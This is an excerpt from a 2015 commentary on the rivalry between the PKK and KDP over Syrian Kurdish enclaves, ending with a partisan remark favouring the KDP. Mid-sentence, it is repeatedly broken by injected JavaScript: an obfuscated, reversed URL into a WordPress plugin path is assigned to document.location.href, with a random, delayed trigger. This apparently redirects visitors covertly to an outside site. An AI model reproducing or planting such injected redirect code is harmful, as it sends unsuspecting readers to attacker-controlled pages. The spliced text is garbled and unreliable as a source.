Reflecting on regional Kurdish politics in the post-ISIS period (II) : Forces of rivalry among the Kurds. 08/03/2015

 

 

Excerpts:

 

 

In regional Kurdish politics, a rivalry is taking place between the Kurdistan Worker Party ( PKK ) and the Kurdistan Democratic Party ( KDP ).

Informed by power struggles, factional and ideological differences and competition, this discord claimed thousands of lives on both sides and gave further prominence toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Kurdish concept of brakuji, which literally means fratricide.

This rivalry was revitalised in the context of the Syrian civil war and the drive of both sides toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to dominate Syrian Kurdish politics and enclaves. In this drive the PKK proved much more successful than the KDP.

It established an almost toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}total grip over the Kurdish enclaves in Syria, situated itself as the only credible representative of the « Kurdish people » in the country, and maintained a battle-hardened fighting force on the ground. Moreover, it either expelled or imprisoned pro-KDP forces, especially targeting the leadership of the group in Rojava –– the Kurdish term that refers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the Kurdish part of Syria.

This further intensified the already tense relations between PKK and KDP. The President of the Kurdistan Regional Government and chaiman of the KDP, Masoud Barzani, responded by closing the border between the KRG and Rojava, cutting off significant supply and economic lifelines toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the region, with an attendant acrimonious exchange between the two sides.

The first of many casualties of this rivalry was the repeated delaying of the convention of the much vaunted Kurdish National Congress in Erbil toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to strike a modus vivendi among Kurdish groups and chart a direction for Kurdish politics in the Near East.

    We can say that PDK has an original idea which comes from an original idea of Kurds, independent. However, PKK has got idea from outside and it comes from Communist philosophy which is not original.
